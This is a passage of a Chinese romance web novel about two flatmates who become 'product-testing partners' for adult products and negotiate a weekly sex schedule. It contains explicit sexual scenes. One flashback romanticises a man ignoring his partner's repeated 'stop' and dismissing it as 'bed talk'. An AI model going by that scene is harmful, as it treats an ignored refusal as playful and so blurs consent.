顾歆说，正好她们最近也在研发一款新产品，她正好可以趁这个机会去学习一下。 林晚星本来还愁着要怎么跟顾歆谈这个问题，没想到顾歆主动提了出来。 幸福来得如此突然。 她突然又犹豫了，这个测评搭档，好像也不是不能继续…… 林晚星没忘记骗陈图森说今晚约人了。 她下班后没有直接回家，而是将计就计，想着她跟宋知暖也好久不见，正好约她出来吃饭。 宋知暖打趣道：“怎么今天这么好请我吃饭？” 林晚星半真半假地说：“因为我成功调岗了！” 宋知暖皱了皱眉，不知道从视觉设计岗调到产品研发岗有什么值得高兴的。 不过，林晚星高兴，那就是好的事情。 两人吃完饭，林晚星还不让她走：“再看个电影吧，我请。” 宋知暖的眉头拧得更紧：“你怎么看得像在躲债？该不是欠人钱，有人堵你门口吧？” 林晚星：“……”是在躲人，但不是欠债。 她夸张地笑了笑，抱住宋知暖的胳膊，把脸贴上去：“怎么可能！我就是好久没看电影，也好久没见你，不舍得你走。” 两人看完电影，磨到11点，林晚星这才回去。 刚进门，她还在换鞋子，陈图森就走了出来，淡淡地问道：“回来啦。” 林晚星正弯着腰换鞋，倏地呼吸一滞，支在地上的一只脚微微颤抖。 专程在这等着她？昨晚才做过，他该不会今晚还想做吧？ 她直起腰，抬头露出一脸职业假笑：“嗯，回来了，你还没睡啊。” 陈图森在原地愣了半秒，才说道：“快了，你也早点睡。” 说完，他就转身走回了房间。 林晚星呆在原地一脸懵。 就这？ 专门出来问候她一下？ 第二天，林晚星趁着陈图森还没出门，赶紧悄咪咪地溜了出来。 躲过了早上，她又要开始琢磨怎么避开晚上的见面。 昨晚已经用过约人这个理由了，今晚就不好再用了。 恰好，她刚转到产品研发岗，其实也需要恶补很多资料，今晚正好留下来加班。 临近下班，她给陈图森发了一条信息：【我今晚加班，不回家吃饭啦】 陈图森隔了差不多十分钟才回道：【哦。】 晚上10点多到家，陈图森和昨晚一样，出来看了她一眼，又回房间去了。 第三天，林晚星越钻研越上头，恨不得直接住在办公室。 下班时，她直接把昨天的信息复制粘贴，发了过去。 陈图森：【1】 第三天，林晚星连复制都懒得复制了，直接发两个字：【加班】 陈图森：【我也】 产品研发部的高菲菲下班的时候，看到林晚星还在公司。 想起林晚星已经连续两天都在公司加班，今天周五还泡在办公室，她是又欣赏又心疼。 她走了过去对林晚星说：“晚星，今天周五了，难得的周末，回去陪陪男朋友吧，别总加班。” 说着，高菲菲直接上手将林晚星的电脑关了，把她拽了起来，押着她离开公司。 林晚星没办法，只好跟着高菲菲离开。 坐在回家的地铁上时，她正惆怅不知道怎么办，突然想起陈图森回复的信息，他说他今晚也加班，那就是他没那么早回家。 耶！那她可以放心回家了！ 回到滨江花园，想着这几天天天加班，林晚星也不想煮饭了。 于是她直接来到楼下的快餐店，打算随便应付应付填饱肚子就好，吃完就回去看个综艺放松下。 林晚星迈着轻盈欢快的步子走进快餐店，喊道：“老板，给我一份酸豆角炒肉末饭！” 话音刚落，她就愣住了。 店里有个人听到声音，抬起头来。 正是说今晚要加班的陈图森。 第28章 第 28 章 “你一周的需求频率是多…… 陈图森坐的那张桌子, 只有他一个人。 如果她不过去坐，那显得太刻意了。 她脸上挂上夸张的笑容，走过去，若无其事地坐下：“好巧啊！来吃饭啊？” “嗯。”陈图森淡淡地应道, “反正不是来加班的。” 林晚星笑容僵住：“……” 看破不说破懂不懂？这个人怎么一点人情世故都不会？ 她尴尬地解释道：“我本来真的要加班的, 但是, 领导不让我加，非要我下班。” 陈图森听明白了：“所以, 你是自愿加班？” 林晚星脸上的表情再次石化：“……” 她还想努力狡辩一下, 却突然发现什么, 她皱着眉看着陈图森：“不对啊，你不是也说要加班？” 陈图森脸上毫无波澜，坦坦荡荡地说：“回家加。” 什么？林晚星彻底失去了表情管理能力，回家加？这也能算加班？ 陈图森这个卑鄙小人, 竟然这样炸她！ 她质问道：“你是故意的？” 陈图森掀起眼帘, 反问道：“故意什么？故意加班还是故意不回家？” 林晚星又被噎住了，张了张嘴又合上, 想说什么又说不出, 反正被气得不轻。 正好这时, 老板把两人的饭端上，打断了他们之间的“审讯”。 林晚星这股气就伴着饭一起吃下去，只吃了一半就饱了。 她站起来说道：“我吃饱了，先上去。” “等等。”陈图森放下筷子, 抽出一张纸巾擦嘴，说，“一起。” 林晚星看了一眼他的盘子，他也没吃完。 “你不吃了？” 陈图森把纸巾扔到桌子下的垃圾篓, 说：“饱了。” 两人默默无言地一起走回家。 刚进门，林晚星就径直地走向自己房间：“我去洗澡了。” “林晚星。”陈图森却叫住了她。 林晚星双脚停住，扭头看他：“干嘛？” 陈图森双眼沉沉地看着她：“聊聊。” 林晚星：“聊什么？” 陈图森走到餐厅，拉开餐桌旁的椅子，看向她：“聊聊……你对我有什么不满意？” 林晚星：“……” 两人端端正正地在餐桌上坐下，像是要进行一项非常严肃的商业会谈。 陈图森继续刚才在楼下的话题：“你这几天，是故意待在公司加班不回家的？” “不是故意。”林晚星解释，“我调岗了，我们最近又要准备一款新产品，我刚调过来，什么都不懂，所以我想抽多一点时间了解这款产品的设计和特色，好尽快跟上进度。” 陈图森沉默不语，但是脸色稍微缓和了些，似乎接受了这个说法。 他双臂抱在胸前，沉思了很久才开口：“我想让你知道，我对这件事是很认真的。” 林晚星紧张：“什么事？” 陈图森：“床上用品测评。” 林晚星：“……” 陈图森：“我决定做的每一件事，都不是随意而为的。我答应当你这个测评搭档，也不是为了肤浅地打一炮……” 林晚星低着头听着，点点头，对对对，你是为了持续打.炮。 陈图森当然不知道她在想什么，继续说道：“既然是你自己主动邀请我的……所以，你能不能也认真一点？” 林晚星立马挺直背脊，双手放在桌上，像个乖学生一样：“嗯，我很认真在听。” 陈图森扶额叹了口气，正色道：“这是一件很严肃很专业的事情，你同意吗？” 林晚星点点头：“同意。” 陈图森：“所以，我希望我们能够坦诚，不管是在床上还是床下。” 林晚星沉沉地吸了一口气：“床上和床下的坦诚，是指什么？” 陈图森：“床上，是指我们对自己身体反应的坦诚，顺从我们的身体，尊重我们的欲望和反应。床下，我们能对彼此坦诚，坦白地说出我们对对方哪一点比较满意，哪一点不满意。每一次实践过后进行复盘，在下次进行调整，才能将这个测评做得越来越好。” 他虽然可以自己学习，可以将在小片子里学到的技巧都用在林晚星身上，他也可以通过观察她的反应去推测她喜欢什么样的方式。可是他依然觉得，最好的还是由本人进行反馈。这样，他才能更好地将理论运用于实践，通过实践不断更新理论。 林晚星口瞪目呆，一时间竟然有些不清楚到底是陈图森想要做测评，还是她想要做测评。她叹为观止：“你也太专业了吧？” 陈图森皱了皱眉：“你对待自己的专业，是不是还不够专业？” 林晚星有些羞愧，她只是不知道，原来专业还需要表现在这些地方。难道不是产品做得好就够了吗？她又没想当性.爱大师。 “对不起。” 陈图森：“所以，我们要坦诚，这点你同意吗？” 她还能不同意吗？林晚星点点头：“嗯，同意。” 陈图森：“那我们来聊一下，在上一次的测评中，你比较满意的地方和不满意的地方。” 林晚星惊讶地抬起头，都过去这么久了，这事还没翻篇吗？ 她语气带着点哀求地问道：“……一定要聊吗？” 这也太社死了吧？ 陈图森：“难道刚才不是你自己也同意的吗？” 林晚星活人微死：“行吧，聊吧聊吧。” 陈图森从包里抽出一个笔记本和一支笔，将笔记本摊开，说：“我先来吧，我比较满意的地方是……” 他抬头看了林晚星一眼，耳根倏地蹿红，喉结莫名其妙滑动了两圈才开口说道，“你的客观条件都很好，无可挑剔。不过……不太配合。” 总是扭来扭去，快要到的时候，又要叫停，想到这，他又加了一句：“耐力也不太好。” 林晚星的脸也是又红又热：“……” 她不服气地说：“我还不配合呀，我的手都被你……” 绑起来了。 陈图森抬眸看过来：“不喜欢这样？” 林晚星突然噤声，好像也不是不喜欢。 虽然羞耻，但是……也感觉有点爽。 不对，正是因为她会因为这么羞耻的事情感到爽，所以这件事才更值得羞耻呀！ 她皱了皱眉，难为情地说：“也不是不喜欢。” 陈图森沉吟片刻，无情地揭穿她：“因为感到羞耻？” 林晚星难以置信地看向陈图森。 他不仅知道，还脸不红心不跳地说出来？ 这人是机器人吗？ 她难为情地点点头：“嗯。” 陈图森也沉默了，显然不知道这种情况应该怎么调整。 最后，他提议道：“多试几次？” 脱敏治疗。 林晚星猛地抬起头，这人该不是看过什么五十.度灰黑飞吧？那种强度她可受不了，她拒绝道：“不用了吧！我觉得我们是不是应该循序渐进比较好呢？从正常一点的模式开始，以后再慢慢开发其它玩法。” 陈图森认真听取林晚星的意见，在笔记本写上：循序渐进，通用模式→开发者模式。 他点点头：“可以。还有吗？” “当然有！”林晚星脱口而出，正想说下次直接进屋子就好了，不要又咬耳朵又摘果子的，可是……情况好像又回到刚才那里，她也不是真的不喜欢。只是，爽得好让人羞耻。 陈图森还在耐心地等待：“还有什么？” 林晚星的头几乎要埋到胸口里去，只露出两只红彤彤的耳朵，小声嘟囔道：“没有了……都挺好的。” 陈图森：“好。那接下来我们来确定一下每周的测评频率。” 林晚星的头一下子弹了起来：“什么？这也要定？我觉得，有新产品的时候，我们再测评这不就行了吗？” “嗯……”陈图森轻点一下头，只是表示他听见了，却不代表他同意这个说法。 谁能保证她以后会不会像这周一样，每天都找不同的理由逃避测评呢？还是定下规矩比较好。 “我记得你当初邀请我加入，是出于双方的需求。你需要真实的性经验以及产品测评，而我……需要解决我的需要。” 他看向林晚星：“所以，总不能你需要测评的时候我就配合，我需要解决需要时，你就不配合吧？这样的合作，听起来不太公平。” 林晚星张了张嘴，话还没说出来，陈图森继续说道：“况且，量变才能带来质变，你刚才才说你想要尽快跟上部门的进度，所以才会在公司加班恶补。那么，如果只有新产品时才进行测评，对当前市面上的其它产品就不去了解、调研、测评，你又怎么知道自家产品跟同行的相比，有什么优势，又有什么不足呢？” 林晚星再次目瞪口呆，眼前这个人简直比她们老板还要压榨人！ “陈图森，你真的是工程师吗？你该不会是同行派来的间谍吧？” 面对质疑，陈图森并不恼，直接从包里拿出一张工作证，递到林晚星面前：“这是我的工作证。” 林晚星低头看了一眼，上面写着蚂蚁智行，中间有一张陈图森的大头照，照片下面是他的名字和职位：陈图森，技术研发部，技术主管。 有点酸。陈图森年纪轻轻就当上主管了？ 不过，她很快回过神来，切，趁机炫耀嘛！ 林晚星将证件推了回去，说：“行了行了，我就是开个玩笑。” 陈图森收回证件，继续刚才的话题：“所以，你希望一周频率是多少次？” 林晚星也不了解正常人的频率是多少次，问道：“那你一周的需求频率是多少？” 这下轮到陈图森无语了：“……” 他稍稍敛神，提议道：“这样吧，工作日隔天一次，周末一天一次怎么样？” 林晚星觉得简直天塌了，皱着眉头张大嘴巴：“什么，周末连单休都不给啊？！” 这人需求也太旺盛了吧？！ 第29章 第 29 章 “你惹的火，灭了再走。…… 陈图森不太满意地蹙起眉头：“按照现在的排期, 每周二四六日做，一三五休息，一周已经三休了。” 林晚星难以置信地看着他，听听这是人话吗？ 难怪年纪轻轻能当主管, 跟吸血的资本家一个德性！ 她这下真的有种搬起石头砸自己脚的无奈：“行吧。” 这个议题也通过了, 陈图森继续说道：“最后一个问题, 虽然我们只是合作关系，但是我希望彼此都能尊重对方, 在同一时间内, 不能有其他测评搭档。” 林晚星苦笑了一下, 陈图森这纯属想太多了。 她现在一周已经要做四次了，她还哪有工夫去找第二个搭档。 不过，有这个约定挺好的。 虽然他们不是情侣关系，她也接受不了陈图森跟她搭档的同时, 也在外面跟别的女人测评。 “行, 一言为定！”林晚星从椅子上站起来，“谈完了吧？谈完了我就去洗澡了！” 陈图森合上笔记本, 说：“谈完了, 最后温馨提醒一下, 排期从明天开始执行。” “明天？！”林晚星大惊，不解地问道，“有必要这么着急吗？下周再开始不行吗？” 陈图森：“不行。” 林晚星：“为什么？” 陈图森自己也有些苦恼，说：“我下周要出差, 周五才回来。” 一下子失去了两个实践机会。 “就当是调休，这周末先补下周的班。” 我的天！好不容易熬到周末，却要连补两天班。 林晚星一下子瘫软在椅子上，当初拼死拼活想找一个双休的工作, 没想到还是过上了007的牛马生活。 …… 周一早上，林晚星是扶着腰走出房门的。 相比之下，肇事者却神清气爽。他背着一个背包、手上拎着一个旅行包，精神抖擞地跟她打招呼：“早。” 林晚星白了他一眼，不想说话。 周末加班也就算了，这人玩心越来越大，已经不满足于普通的款式。 之前，她为了研究不同品牌不同款式之间的差别，各种各样奇奇怪怪什么款式的小雨伞都买了回来。 周六那晚，在林晚星的强烈要求下，陈图森最终还是把灯关了。 他在黑暗中随意摸索了一个套就用了，没想到刚进去，林晚星就反应剧烈，大喊着“不要这个”，还手脚并用要把他推出来。 他本以为林晚星又是羞耻心起，要扭捏，于是用力箍着她，不让她逃走。 于是，一整晚，陈图森的耳边都回荡着林晚星的喊叫声： “陈图森，你给我停下！” “陈图森，我要杀了你！” “陈图森，啊——” 直到结束后，他打开灯，看到包装上写着的三个字“情.趣款”，他才明白。 难怪她又哭又叫的。 现在脸上都还是泪痕。 他伏在她边上，问道：“感觉这款怎么样？” 林晚星想杀人的心都有，狠狠地瞪着他，抬手冲着他胸口就来了一拳：“我让你停下你怎么不听！” 陈图森硬生生地吃了一拳，却笑了起来：“床上的话哪能当真。我要是真停了，我怕你又不满意。” 林晚星抬手还想打过去，陈图森却及时抓住她的手腕，将她的手送到自己唇边，在她的手背上亲了一口。 心脏像被微弱的电流击了一下，林晚星的呼吸都漏了半拍。 激烈的性.爱让她心跳加速，但是温柔的亲吻却让她心脏坍塌。 男人在床上是怎么做到又粗暴又温柔的？ 陈图森抬眸看着她，温柔地说：“对不起，我是真不知道。不过，你也不能怪我，毕竟这套是你准备的。” 刚刚涌起的感动瞬间消失。 这怎么还恶人先告状了？是她买的又怎么样？买了就一定要用？ 就算要用，也没说今天用！ 林晚星将手从陈图森掌心里抽出，冲着他的胸口又狠狠地揍了一拳，说：“我让你挑这个了？” 陈图森笑道：“你也没禁止。” 林晚星吵不过，气急：“你还顶嘴，你就不能让让我？” 陈图森嘴角含着笑，宠溺地说：“让，以后都让着你。” 林晚星这才心满意足地闭上嘴巴。 可是，男人嘛，在床上的话都是不可信的。 周六那晚说得好好的。 第二晚，他食髓知味，在众多款式的小雨伞中挑了一个“延时款”。 林晚星做到大腿都发软了，声嘶力竭，拍着陈图森的手臂说：“我不行了……” 他倒是很体贴，抓起她的双脚架在自己的肩膀上，说：“这样省力很多。” 终于结束了，林晚星觉得自己要死了。 她有气无力地抓着陈图森的手臂说：“警察来了，你就说我是被你做死的，不用查我手机。” 陈图森又被她逗笑了，说：“哪有这么夸张？” 林晚星用尽最后一丝力气瞪着他：“我拿根钢锥在你下面凿一个小时你试试有没这么夸张？” 陈图森敛起笑容，脸上浮起担忧，说：“我看看。” 林晚星紧张：“看什么？” 陈图森没回答，但是林晚星很快就知道了。 她的两只脚踝被一双滚烫的手掌抓住，向上弯折。 林晚星呼吸骤停，羞耻感让她本能地反抗，她双脚想要用力，却根本动弹不得。 她的脸羞得简直要滴血：“陈图森！” 身下的人传来声音：“是有点肿。” 林晚星大脑“轰”地一下，像被轰炸过。 随即，她爆发了一声吼叫：“陈——图——森——” 杀了她吧杀了她吧！ 不然杀了陈图森也行。 反正别让他们俩同时活着。 陈图森却认真地回应她：“亲一下会好点吗？” 亲？亲哪？ 林晚星还没反应过来，下一秒，她如被雷击，浑身颤栗，眼角再次溢出泪水。 连续激战两晚真不是开玩笑的。 今天一早起来，林晚星腰酸背痛的，大腿根都还在发软。 为什么始作俑者反而一点事都没有。 她心里不平衡了，想黑化了。 她假装没看到他，冷哼一声，直接从他身边走过。 陈图森嘴角却忍不住勾起一抹笑容，跟着走到玄关，站在她身边换鞋，不忘提醒她： “记得我们的约定，别趁我不在就把别的男人带回家。” 林晚星“嘁”了一声，故意气他：“不仅要带回来，还要把你家偷了。” 陈图森蹙起眉头，睨着她警告：“你试试看？” 林晚星换好鞋，朝他吐了吐舌头：“略略。” 陈图森还要回一趟公司，两人一起走去地铁站。 走到3号线和6号线的分道口，陈图森跟她告别：“我走啦。” 林晚星气还没消，不想搭理他。 陈图森看着她气鼓鼓的背影，有些无奈地摇摇头，快步追了上去，一只手扣在她的脑袋上。 “哎！”林晚星像被扣住了命门，走不动了，她扬起头看着身后的幼稚鬼，生气地说，“你干什么？别碰我头发！” 陈图森不仅不听，反而还用力地在她头顶揉了几下，说：“我说我走了，听到没，别太想我。” 林晚星心里那团气莫名其妙地被揉得七零八落。 “都说别碰头发！”她将陈图森的手推开，用手将头发重新捋顺，白了陈图森一眼，气势却弱了几分，回应他刚才那句话：“你纯属想太多。” 真是奇怪的人，出个差而已，搞得这么依依不舍。 再说了，谁说想他了。 她还巴不得可以休息几天呢！ 身体仿佛也知道这几天休息一样，陈图森走的第一天，大姨妈就来了。 但她觉得这次来大姨妈，身体怪怪的。 竟然莫名地，很想要。 还真是被陈图森给说中了，有点想他。 可是，他在也没用，做不了。 她只好望梅止渴，大晚上地给小优发了一条信息： 【小优，你有没什么不正经的小电影介绍？】 小优立马甩来一条链接，回道：【拿去不谢，都是我多年的珍藏。】 紧接着，她又纠正道：【这些对18岁以下的小孩子才叫不正经，对我们这个年纪，就是正经的电影。】 小优：【别说得我们像是什么不正经的人一样。】 林晚星回复道：【是是是，小优老师教训得是。】 林晚星打开网盘链接，不得不感慨小优真是行业楷模。 网盘里面的学习资料不仅多，而且分门别类地归纳好。 林晚星一个个文件名地滑下来，一时患上选择苦难症。 她突然看到一个文件夹名为【女上男下技巧大全】，好奇地点开，随手打开文件夹的第一个视频，才看了十几分钟，嘴巴就忍不住张成一个“O”。 嘻嘻，学到了。 陈图森，让你之前这么折腾我！ 她一定要找个机会把陈图森推倒，把他狠狠地压在身下，让他向她苦苦求饶，一雪前耻！ …… 这个机会，在周五晚上送到面前。 林晚星下班回到家的时候，发现客厅的灯开了。 陈图森已经到家了？ 她换好鞋，看到浴室关着门，里面传来水声。 果然。 她直接走进房间，将包放好，准备出来喝杯水。 刚拿起杯子，浴室门就开了，陈图森从里面走了出来。 也许是刚才洗澡没听见林晚星回来，陈图森的表情有短暂的滞愣。 “下班啦？” “嗯。”林晚星应道，一边咕噜咕噜地将杯子里的水吞了下去，一边侧身看向刚出浴的美男。 刚洗完澡的男人，白净又清爽，周身环绕着水汽，还残留着沐浴露的清香，看着很好吃的样子。 明明水都喝完了，她还是忍不住又吞咽了一下，体内有股熊熊烈火正在燃烧。 陈图森不在的这几天，她恶补了不少女上男下、女撩男等实用小知识，觉得自己现在强得可怕。 刚好实验对象自己送到眼前，不用白不用。反正大姨妈还没走，她怎么玩陈图森也折腾不了她。她要把陈图森撩到□□焚身，憋都憋不住不得不自己在她面前撸才解气！ 想到就开心！哈哈哈哈哈哈！ 林晚星强压下翘起的嘴角，放下杯子，朝着陈图森走过去。 后者注意到她的动作，并没有回避，只是待在原地，似乎想看看她想干什么。 林晚星走到陈图森面前，突然伸出双手，“啪”地一下将陈图森按在墙上，仰起头看着他。 陈图森顺着她的动作微微后退了一步，背脊绷紧，贴在墙上。 他低头看着眼前的女孩，虽然不知道她又想玩什么，但就是觉得好笑。嘴角忍不住扯动了几下，他努力地按下，才没有让自己笑出来。 陈图森垂眸看她：“你干嘛？” 林晚星伸出一只食指，印在他的唇上：“嘘，别说话。” 陈图森的双唇被按住，却还是无法阻止两边嘴角扬起。 林晚星食指离开他的唇边，转而戳在胸口上，慢悠悠地转圈圈，隔着薄薄的布料，她也能感觉到他厚实有力的胸肌，有点喜欢。 “一回来就洗澡，是你想干嘛才对吧？” 陈图森笑：“从外面回来，不应该洗澡？” 林晚星的食指顺着他身体线条下滑，戳在他的腰腹处。 感觉到他腰腹收紧，她抬起自己含情脉脉的双眼，扫向陈图森，把他撩得呼吸都乱了。 她以迅雷不及掩耳盗铃之势，迅速撩起他的衣服下摆，将手伸了进去，贴在他那六块紧实有力的腹肌上。 手掌下滚烫的肌肉骤然收缩，眼前高高凸起的喉结不受控地微微滚动，她的成就感瞬间涌了上来。 她继续戳着他腰腹上的肌肉，摸起来硬邦邦的，戳下去又富有弹性，很像陈图森这个人的性格。 她一边摸，一边夹着声音说：“洗澡就洗澡，还穿衣服，那么见外。” 说着，她将他的衣服往上一扯，直接脱掉。 陈图森身体绷直，不知道林晚星是怎么回事。他谨记他们的排期，本就没想过今晚回来要做。 不过憋了四天的火，根本经不起一点撩拨，哪怕是那么生涩的技巧。 他的喉结不受控制地上下滚来滚去，眼底蓄着一团火，声音喑哑地问：“想做？” 林晚星扬起眉毛，笑着说：“想啊。” 得到信号，陈图森立马化被动为主动，双手箍住她的双肩，双脚旋转一圈，两人位置调换，他俯身含住她的耳垂。 嗯，他们还是没有接过吻。 每次前戏都是亲脸亲脖子亲耳朵吃果子。 好痒。林晚星笑着缩着脖子躲开，双手用力地将陈图森推开，得意地看着他说：“可是，今晚做不了哦。” 陈图森眼底蓄着喷涌的欲望，像一座即将爆发的火山，他沉着声音问道：“为什么？因为是周五？” 这不是什么问题，可以把明天的挪到今晚。 “不是。”林晚星得意地摇摇头：“因为，还，在，经，期。” 陈图森：“……经期？” 他像被泼了一盆冷水，脸上表情尴尬。 他似乎知道林晚星这么主动的原因了。 喉结滚动，他声音沙哑地问：“故意的？” 林晚星也不否认，点点头：“嗯。” 她笑嘻嘻地推开他：“不好意思哦，今晚你要自己解决咯。” 奸计得逞，林晚星得意地要回房间。 可是，下一秒，手腕被紧紧地抓住，一道力量将她往后一拽，她身体被重新按在墙上，手被抓着按在别处。 林晚星紧张地抬头看着陈图森。 只听见他说：“你惹的火，灭了再走。” 第30章 第 30 章 “今晚去你房间。”…… 怎么灭？ 林晚星懵了：“我说了,今天做不了。” 陈图森嘴角噙着笑：“又不是只有那里才能做。” 好像懂，又好像不太懂，或者不想懂。 林晚星的眼珠慢慢地沉下去，不敢看陈图森。 陈图森俯下头, 在她耳边问道：“怎么, 还没学到这里？我教你。” 单论这方面的经验, 陈图森确实可以当林晚星的老师。 林晚星的脸唰地一下红了，要她帮陈图森打.飞机？绝对不可能！ “我干嘛要学！拜托你搞清楚好不好, 我们是产品测评搭档, 不是炮.友, 你要打自己打，关我什么事！” 林晚星说完，用力将手抽了出来，转身要走。 陈图森及时抬手拦住, 说：“产品测评是吧？那就戴上套来打。” 哈？林晚星真是低估了男人对□□那点事的执着, 竟然连这种馊主意都能想得出来。 有人试过戴套打.飞机吗？不知道耶，但是听起来, 好像还挺有意思。 想玩。 说来就来。 林晚星兴致勃勃地说：“那我去拿套。” 陈图森把手收回, 有些不相信她地提醒道：“别想趁机溜走。” 没一会, 林晚星就拿着套一蹦一跳地来到陈图森房间，一双好学的眼睛看着他问道：“怎么弄？” 陈图森站在她面前，指导道：“帮我脱掉。” 林晚星瞪了他一眼：“你自己不会脱？” 陈图森坚持：“你来。” 林晚星：“为什么？” “刚才扒我衣服不挺利索的吗？再说了……” 他理直气壮地补充道，“我伺候你那么多次, 换你伺候一次不过分。” 之前几次，她的衣服是他脱的，事后也是他给穿上的。 他说什么了嘛？没有。谁让他心甘情愿呢。 林晚星也不知道自己是着了什么魔，最终还是乖巧地照做。 脱下后, 她将套递给陈图森：“呐。” 陈图森不接：“你戴。” 林晚星皱起眉头看着他：“你的手是被废了嘛？” 陈图森一听，直接退到床上坐下，双手撑在后面，说：“嗯，废了。” 林晚星：“信不信我把你小弟也废了！” 陈图森不怕：“废了吃亏的不还是你？” 林晚星：“？？？” 她吃什么亏？搞笑！ 不过算了，好女不与恶男斗。 戴好后，林晚星问道：“接下来呢？” 陈图森继续教：“用手握住。” 林晚星一怔，迟疑了一下。 动作不难，心里的那关才难。 见林晚星迟迟不动，陈图森故意激她：“干嘛，不敢？” “谁说我不敢！”不能怂！林晚星告诉自己不能在陈图森面前怂。可是，她确实不敢，不敢看。她别过头，单纯用手去试探。 陌生的触感让她整个人顿住了，她像握着一颗小心脏，滚烫的，还会一突一突地跳动。 这是一种完全不同的包裹感，陈图森粗喘了一口气，笑道：“你得动啊。” 林晚星已经羞得不行：“怎么动，我不会。” 陈图森笑道：“你好菜。做过陶瓷没？” 陶瓷？ 林晚星自己没做过，但是在电视上看过。 她凭直觉操作，始终不得要领，心生退意。手上力道刚有所松懈，一只大掌就覆了上来。 陈图森双手抓着她的两只手，覆盖在上面，像一个陶瓷师傅，耐心地指导初入门的学徒。 两人大手包小手，小手包肉笋，共同完成一件艺术品。 林晚星的手背感受到陈图森掌心的温度，掌心又握着他另一颗心脏的温度。 明明是她在包裹着他，可是又像是她被包裹着呵护着。 好奇怪。 直到自己手臂都酸了，林晚星这次的消防任务才终于结束。 林晚星觉得自己之前实在不该埋怨陈图森续航时间短，也不知道他进行了什么改良，现在的延时效果越来越好。陶瓷作品用了半个多钟才完成，她现在一双手都是又酸又软的。 关键是，陈图森憋了好几天，她也憋了好几天，这次经期又莫名其妙地比以前的欲望都更强。结果还帮陈图森打了一晚上，把自己也惹出一身火，好气！ 林晚星气鼓鼓入睡的之后，陈图森的房间仍然亮着灯。 他坐在椅子上，刚才的画面仍在脑海里挥之不去。 他自己打过很多次，本没什么新奇。 可是，这次不同的是，多了一个人。 他甚至现在还能感觉到林晚星纤细柔软的手握在上面的感觉，哪怕她只是握着不动，都足够让他爽到飞起。 不知想到什么，他神色突然一暗，拿起手机搜索：女性经期需要注意的事项。 他想起林晚星是因为还在经期，今晚才有这番不一样的体验。 但是，经期除了不能做，还有什么是不能做的？他突然不知道。 他对于女性经期的知识，只限于初高中生物学知识，但他不知道要如何运用在实践中。 他翻看着网页上的内容，一项一项地记在脑海里，清淡饮食、避免过度劳累和熬夜、注意保暖…… 第二天，林晚星一早起来就闻到一股淡淡的香味。 她循着味道来到厨房，看到陈图森正在厨房里不知道煮什么。 她走了过去，问道：“你在煮什么？” 陈图森看了她一眼，说道：“五谷杂粮粥。” 他昨晚找了一晚上，看到不少人介绍说早餐喝五谷杂粮粥可以补中益气，促进肠道蠕动，加入红枣还可以补血。 于是，今天一早就起来下去买食材。 林晚星：“你怎么不用电饭锅来煮？” 用砂锅还得一直在看着，多麻烦。 陈图森：“……砂锅煮得好吃。” 他以前也没煮过这东西，但网上说砂锅煮能保留更多营养，口感丰富，更加清爽。反正综合来说，就是比较好。 林晚星忍不住夸赞道：“你好贤惠，以后谁娶了你真幸福。” 她一句随意的玩笑，陈图森的心却像被什么轻轻撞了一下，手上动作停下。 “怎么啦？”林晚星抬头问他，以为他不喜欢她说他贤惠。 “没什么。”陈图森关火，说，“可以吃了。” “好，我去拿碗。”林晚星走到消毒柜，拿出两个碗。 陈图森接过碗，把粥盛好后，说：“那里还有两个水煮蛋。” “这么丰盛！”林晚星挺惊喜的，陈图森是个不喜欢麻烦的人，她也爱偷懒。他们平时周末不常在家里煮早餐，而是直接下楼吃。 陈图森什么都没说，他也不知道林晚星喜欢吃什么，只是觉得有营养的就都做了。 他还担心不够。 吃过早餐后，林晚星主动收碗，说：“既然你煮早餐，那我就洗碗吧。” “不用。”陈图森赶紧制止道，“我来。” “？”今天的惊喜一个接一个，林晚星都有点应接不暇，陈图森今天怎么这么好！但她也不是爱抢活干的人，很爽快地就把洗碗的工作让出去了。 “那我去扫地啦！”按照规定，这周是轮到她搞卫生，她不喜欢被事情压着的感觉，早点搞完早点休息。 陈图森一听，又制止道：“不用，你放着，洗完碗我来扫。” 林晚星：“？？？” 直到这刻，她才觉得有点不对劲。陈图森这个人平时有多古板，她是知道的。整天开口闭口都是约定啊规则啊，可是他今天竟然自己一个一个地打破规则。 男人无事献殷勤，非奸即盗！ 难道是她昨晚的手法太好了，让他意犹未尽，今晚还想继续？ 这狗男人！一天到晚脑子里就那点破事，昨晚她之所以肯给他打，纯属自己玩心起。结果差点好奇害死猫，险些把她累死。 还想她再帮他打？做梦！下辈子吧！不，下辈子也不可能！ 她越想越气，眉毛都拧了起来，她忿忿地瞪着陈图森：“陈图森，我告诉你，你想都别想！” 陈图森一脸茫然地看着她：“？？？” 想什么？搞卫生？ 他想帮她搞卫生也有错？ 周末这两天，本就是约定好测评的日子。上次他去出差都要调班，林晚星担心陈图森会要求以别的方式测评，像周五那晚一样。所以这两天都严防死守，浑身戒备，但是陈图森却什么都没说。 其实周日，林晚星的大姨妈已经基本没了，但是她并不打算告诉陈图森。 一直到周二晚上，陈图森都没有主动提起这件事。 反倒是林晚星憋不住了。 她洗过澡后，故意到客厅晃荡，顺便瞥一瞥陈图森在干什么。 现在陈图森在家的时候，已经习惯开着房门。 她看到陈图森似乎也洗过澡，换上了睡衣，不过他戴着眼睛，坐在电脑前，手指一刻不停地敲着键盘。 好像很忙。 要加班？所以今晚想翘班？ “咳咳……”她有些不开心地清了清嗓子。 陈图森双手停了下来，却没有看林晚星，他抬起左手，撑在下巴，像在cos思想者。 林晚星的眉头往里拢了拢，不罢休地走到茶几，给自己倒了一杯水，放下杯子的时候故意加大力气，重重地在桌子上碰撞出一声不满的“砰”。 陈图森眉头挑了挑，似乎被这声音提醒，他拿起水杯想喝水，发现里面是空的。 他只好拿着杯子站起来，走出房间，这才发现林晚星站在茶几旁，不知道在干什么。 “这么晚还不睡？”陈图森走过来，倒了杯水，他还记得经期好像要避免熬夜。 林晚星瞪了他一眼：“你也知道晚，再过一个小时，周二就过去了。” 陈图森点点头，表示同意：“嗯。” 嗯你个死人头！ 林晚星快要被气死了：“你能不能有点责任心！明明是你自己定的规矩，是你自己排的班，现在不想做就翘班啦？” “？”陈图森愣了几秒才反应过来林晚星说的是什么。 他有些担忧地问道：“你不是在经期？” 嗯？林晚星也愣住了，所以，他不提是以为自己在经期？ 她的声音弱了下来，解释道：“已经没了。” “没了？”话音刚落，欲望下一秒就爬上这个男人眼底，他向林晚星走近一步，笑着问道，“所以，想要？” 林晚星：“……” 要正视自己的欲望并不是一件容易的事，林晚星的脸微微发烫：“我只是觉得，既然定下了规矩，就要遵守……啊——” 她的手腕突然被人拽住，向前一拉，然后双脚腾空，她被陈图森打横抱了起来！ 